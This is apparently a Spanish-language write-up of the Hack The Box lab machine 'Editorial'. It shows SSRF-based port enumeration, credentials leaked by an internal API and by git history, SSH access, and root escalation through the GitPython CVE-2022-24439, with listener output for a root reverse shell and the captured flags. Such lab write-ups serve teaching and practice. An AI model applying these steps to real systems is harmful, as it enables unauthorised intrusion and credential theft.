En Editorial logramos realizar una enumeracion de puertos a traves del sitio web, esto nos permitio acceder a rutas de API internas donde descubrimos credenciales que nos permitieron acceder por SSH. Tras analizar el codigo y cambios de la API con Git, encontramos credenciales que nos dieron acceso a un segundo usuario. Finalmente escalamos privilegios explotando una vulnerabilidad en la libreria gitpython.
Enviamos nuevamente la solicitud, pero esta vez a la escucha por el mismo puerto con netcat, observamos que se esta realizando una solicitud utilizando python-requests.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌[kali@kali][/dev/pts/6][130]└[~/htb/editorial]> nc -lvvvp 9090listening on [any]9090 ...
connect to [10.10.14.106] from editorial.htb [10.10.11.20]59664GET /batman.jpg HTTP/1.1
Host: 10.10.14.106:9090
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
sent 0, rcvd 158┌[kali@kali][/dev/pts/6]└[~/htb/editorial]>
Intentamos realizar una solicitud a la direccion local http://127.0.0.1 pero este nos devolvia la misma direccion de la imagen:
Port Enum
Intentamos realizar una enumeracion de puertos utilizando la solicitud http realizada por la aplicacion web. En Burpsuite guardamos la solicitud a un archivo.
Modificamos el archivo para el puerto en la URL agregando FUZZ.
Finalmente ejecutamos ffuf agregando un wordlist con seq y filtrando por tamano 61, este ultimo filtraria la direccion por “default” que retorna la applicacion.
┌[kali@kali][/dev/pts/6]└[~/htb/editorial]> curl -s http://editorial.htb/static/uploads/92e4faa2-4f7e-4154-b59d-3defacce79d5 | jq
{"messages": [{"promotions": {"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"}},
{"coupons": {"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"}},
{"new_authors": {"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"}},
{"platform_use": {"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"}}],
"version": [{"changelog": {"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"}},
{"latest": {"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"}}]}┌[kali@kali][/dev/pts/6]└[~/htb/editorial]>
API Enum
Realizamos la solicitud a todas las rutas y obtuvimos informacion:
En la primera ruta se observan informacion sobre cupones, emails y fecha de validez de estos
En la segunda, un mensaje de bienvenida con credenciales de acceso a foro, dev:dev080217_devAPI!@.
En la ultima se observan rutas para otras versiones de API y emails para cada una.
# /api/latest/metadata/messages/coupons[{"2anniversaryTWOandFOURread4":{"contact_email_2":"info@tiempoarriba.oc",
"valid_until":"12/02/2024"}},
{"frEsh11bookS230":{"contact_email_2":"info@tiempoarriba.oc",
"valid_until":"31/11/2023"}}]# /api/latest/metadata/messages/authors{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}# /api/latest/metadata/changelog[{"1":{"api_route":"/api/v1/metadata/",
"contact_email_1":"soporte@tiempoarriba.oc",
"contact_email_2":"info@tiempoarriba.oc",
"editorial":"Editorial El Tiempo Por Arriba"}},
{"1.1":{"api_route":"/api/v1.1/metadata/",
"contact_email_1":"soporte@tiempoarriba.oc",
"contact_email_2":"info@tiempoarriba.oc",
"editorial":"Ed Tiempo Arriba"}},
{"1.2":{"contact_email_1":"soporte@tiempoarriba.oc",
"contact_email_2":"info@tiempoarriba.oc",
"editorial":"Editorial Tiempo Arriba",
"endpoint":"/api/v1.2/metadata/"}},
{"2":{"contact_email":"info@tiempoarriba.moc.oc",
"editorial":"Editorial Tiempo Arriba",
"endpoint":"/api/v2/metadata/"}}]
User - Dev
Uilizamos las credenciales encontradas por SSH, logramos el acceso como dev y a la flag user.txt.
┌[kali@kali][/dev/pts/6]└[~/htb/editorial]> ssh dev@editorial.htb # dev080217_devAPI!@The authenticity of host 'editorial.htb (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Jul 15 10:42:59 PM UTC 2024 System load: 0.0
Usage of /: 61.3% of 6.35GB
Memory usage: 20%
Swap usage: 0%
Processes: 225 Users logged in: 0 IPv4 address for eth0: 10.10.11.20
IPv6 address for eth0: dead:beef::250:56ff:feb0:9ee
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Jul 15 15:32:09 2024 from 10.10.14.79
dev@editorial:~$ whoami;id
dev
uid=1001(dev)gid=1001(dev)groups=1001(dev)dev@editorial:~$ ls
apps user.txt
dev@editorial:~$ cat user.txt
325c5f20b3a932f7888129e07be13cae
dev@editorial:~$
En el directorio encontramos un repositorio, donde observamos que se eliminaron varios archivos.
dev@editorial:~/apps$ ll
total 12drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 ./
drwxr-x--- 5 dev dev 4096 Jul 15 16:17 ../
drwxr-xr-x 8 dev dev 4096 Jul 15 22:44 .git/
dev@editorial:~/apps$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)(use "git restore <file>..." to discard changes in working directory) deleted: app_api/app.py
deleted: app_editorial/app.py
deleted: app_editorial/static/css/bootstrap-grid.css
deleted: app_editorial/static/css/bootstrap-grid.css.map
[.. snip ..] deleted: app_editorial/static/js/bootstrap.js
deleted: app_editorial/static/js/bootstrap.js.map
deleted: app_editorial/static/js/bootstrap.min.js
deleted: app_editorial/static/js/bootstrap.min.js.map
deleted: app_editorial/templates/about.html
deleted: app_editorial/templates/index.html
deleted: app_editorial/templates/upload.html
no changes added to commit (use "git add" and/or "git commit -a")dev@editorial:~/apps$
Restauramos los archivos python eliminados con git.
# app_api/app.py# API (in development).# * To retrieve info about editorialimportjsonfromflaskimportFlask,jsonify# -------------------------------# App configuration# -------------------------------app=Flask(__name__)# -------------------------------# Global Variables# -------------------------------api_route="/api/latest/metadata"api_editorial_name="Editorial Tiempo Arriba"api_editorial_email="info@tiempoarriba.htb"# -------------------------------# API routes# -------------------------------# -- : home@app.route('/api',methods=['GET'])defindex():data_editorial={'version':[{'1':{'editorial':'Editorial El Tiempo Por Arriba','contact_email_1':'soporte@tiempoarriba.oc','contact_email_2':'info@tiempoarriba.oc','api_route':'/api/v1/metadata/'}},{'1.1':{'editorial':'Ed Tiempo Arriba','contact_email_1':'soporte@tiempoarriba.oc','contact_email_2':'info@tiempoarriba.oc','api_route':'/api/v1.1/metadata/'}},{'1.2':{'editorial':api_editorial_name,'contact_email_1':'soporte@tiempoarriba.oc','contact_email_2':'info@tiempoarriba.oc','api_route':f'/api/v1.2/metadata/'}},{'2':{'editorial':api_editorial_name,'contact_email':'info@tiempoarriba.moc.oc','api_route':f'/api/v2/metadata/'}},{'2.3':{'editorial':api_editorial_name,'contact_email':api_editorial_email,'api_route':f'{api_route}/'}}]}returnjsonify(data_editorial)# -- : (development) mail message to new authors@app.route(api_route+'/authors/message',methods=['GET'])defapi_mail_new_authors():returnjsonify({'template_mail_message':"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, "+api_editorial_name+" Team."})# TODO: replace dev credentials when checks pass# -------------------------------# Start program# -------------------------------if__name__=='__main__':app.run(host='127.0.0.1',port=5000)
# app_editorial/app.py importosimportuuidimportjsonimportrequestsfromflaskimportFlask,render_template,request,redirect,url_for# -------------------------------# App configuration# -------------------------------app=Flask(__name__)app.config['UPLOAD_FOLDER']="app_editorial/static/uploads/"# -------------------------------# Program functions# -------------------------------# -- Reject internal requestsdefrequest_reject_localhost(url_bookcover):reject_url=["localhost","127.0.0.1"]foriinreject_url:ifiinurl_bookcover.lower():returnTrue# -- Editorial information (API)defapi_editorial_info(key):r=requests.get('http://127.0.0.1:5000/api')json_editorial_info=json.loads(r.text)editorial_api_version=list(json_editorial_info['version'][-1].keys())[0]ifkey=="name":editorial_api_value=json_editorial_info['version'][-1][editorial_api_version]['editorial']elifkey=="contact":editorial_api_value=json_editorial_info['version'][-1][editorial_api_version]['contact_email']returneditorial_api_value# -------------------------------# Website routes# -------------------------------# -- Index page@app.route('/')defindex():returnrender_template('index.html',editorial_name=api_editorial_info('name'))# -- Upload book to be published@app.route('/upload',methods=['GET','POST'])defupload():ifrequest.method=='GET':returnrender_template('upload.html',default=True,editorial_name=api_editorial_info('name'))elifrequest.method=='POST':book_name=request.form['bookname']book_intro=request.form['bookintro']whyus=request.form['whyus']email=request.form['email']phone=request.form['phone']# To do: Connect forms and inputsreturnrender_template('upload.html',default=True,editorial_name=api_editorial_info('name'),success_upload="✍ Request Submited! 🔖")# -- Upload cover book@app.route('/upload-cover',methods=['GET','POST'])defupload_cover_image():ifrequest.method=='GET':returnredirect(url_for('upload'))elifrequest.method=='POST':file_bookcover=request.files['bookfile']url_bookcover=request.form['bookurl']default_cover="https://images.unsplash.com/photo-1630734277837-ebe62757b6e0?ixlib=rb-4.0.3&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=880&q=80"uuid_filename_cover=str(uuid.uuid4())# secure filename# If cover comes from an URLifurl_bookcover:ifrequest_reject_localhost(url_bookcover):returndefault_covertry:# Set default cover if exists a connection problemr=requests.get(url_bookcover,timeout=1)except:returndefault_cover# Save the response to the request in a filewithopen(app.config['UPLOAD_FOLDER']+uuid_filename_cover,'wb')asfile_url_bookcover:file_url_bookcover.write(r.content)# If cover comes from a FILEeliffile_bookcover:file_bookcover.save(os.path.join(app.config['UPLOAD_FOLDER'],uuid_filename_cover))# Neither.else:returndefault_coverreturnos.path.join(app.config['UPLOAD_FOLDER'],uuid_filename_cover)# -- About our editorial@app.route('/about')defabout():returnrender_template('about.html',editorial_name=api_editorial_info('name'),editorial_contact=api_editorial_info('contact'))# -- TODO: validate with team feature to send mail to new authors, message is already in api.# -------------------------------# Start program# -------------------------------if__name__=='__main__':app.run(host='0.0.0.0')
Observamos el log del repositorio y revisamos cada uno de estos.
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.
dev@editorial:~/apps$
Observamos que en el mensaje de 1e84a0 hay un par de credenciales, en este caso para prod.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dev@editorial:~/apps$ git show 1e84a036b2f33c59e2390730699a488c65643d28
[...]+# -- : (development) mail message to new authors
+@app.route(api_route + '/authors/message', methods=['GET'])+def api_mail_new_authors():
+ return jsonify({+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal foru
m and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questi
ons or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."+ })# TODO: replace dev credentials when checks pass+
[...]
User - Prod
Descubrimos que el usuario prod esta registrado en la maquina, cambiamos de usuario con su y con la contrasena encontrada, logrando acceder a este nuevo usuario.
Observamos que el usuario puede ejecutar clone_prod_change.py como root.
1
2
3
4
5
6
7
8
9
10
11
12
prod@editorial:~$ sudo -l -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
Sudoers entry:
RunAsUsers: root
Commands:
/usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod@editorial:~$
El script utiliza gitPyhon, realiza una clonacion del repositorio dado dentro de la carpeta new_changes.
Encontramos que gitPython tiene una vulnerabilidad CVE-2022-24439 que permite la ejecucion de comandos. Ejecutamos el PoC el cual crea un archivo en /tmp como root.
Por otro lado netcat a la escucha donde obtuvimos una shell como root y nuestra flag root.tx.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌[kali@kali][/dev/pts/9][1]└[~/htb/editorial]> nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.106] from editorial.htb [10.10.11.20]59844root@editorial:/opt/internal_apps/clone_changes# whoami;id
whoami;id
root
uid=0(root)gid=0(root)groups=0(root)root@editorial:/opt/internal_apps/clone_changes# cd /root
cd /root
root@editorial:~# ls
ls
root.txt
root@editorial:~# cat root.txt
cat root.txt
50649145d2e614b2abdcf29e320d7f89
root@editorial:~#